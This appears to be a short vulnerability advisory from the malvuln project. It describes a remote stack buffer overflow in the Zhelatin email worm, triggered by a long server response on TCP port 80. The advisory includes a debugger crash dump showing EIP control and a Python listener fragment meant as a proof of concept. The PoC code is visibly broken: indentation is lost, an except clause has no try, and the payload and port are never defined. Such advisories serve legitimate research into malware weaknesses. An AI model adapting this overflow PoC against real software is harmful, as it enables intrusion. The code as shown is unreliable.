Discovery / credits: malvuln - (c) 2021  
Original source:  
Threat: Email-Worm.Win32.Zhelatin.ago  
Vulnerability: Remote Stack Buffer Overflow  
Description: Buffer overflow on server response TCP Port 80, upon receiving 532 bytes or more we can overwrite insruction pointer (EIP) to control program execution flow.  
Type: PE32  
MD5: 0418e7f95a8b94c035e10749234f8378  
Vuln ID: MVID-2021-0014  
Dropped files:  
ASLR: False  
Safe SEH: True  
DEP: False  
Disclosure: 01/01/2021  
Memory Dump:  
EAX : 00000000  
EBX : 00000000  
ECX : 76E77CB1 kernel32.76E77CB1  
EDX : 00000000  
EBP : 41414141  
ESI : 76E8DE00 <kernel32.DeleteFileA>  
EDI : 764E38D0 <user32.wsprintfA>  
EIP : 41414141  
ExceptionAddress: 41414141  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 41414141  
Attempt to read from address 41414141  
0:003> .ecxr  
eax=00000000 ebx=00000000 ecx=76e77cb1 edx=00000000 esi=76e8de00 edi=764e38d0  
eip=41414141 esp=0418f2e8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
import socket  
def doit():  
global payload  
s = socket.socket()  
host = ''   
s.bind((host, port))   
print('Email-Worm.Win32.Zhelatin.ago / Remote Stack Buffer Overflow')  
print('MD5: 0418e7f95a8b94c035e10749234f8378')  
print("By malvuln")  
while True:  
conn, addr = s.accept()  
except Exception as e:  
if __name__=="__main__":  
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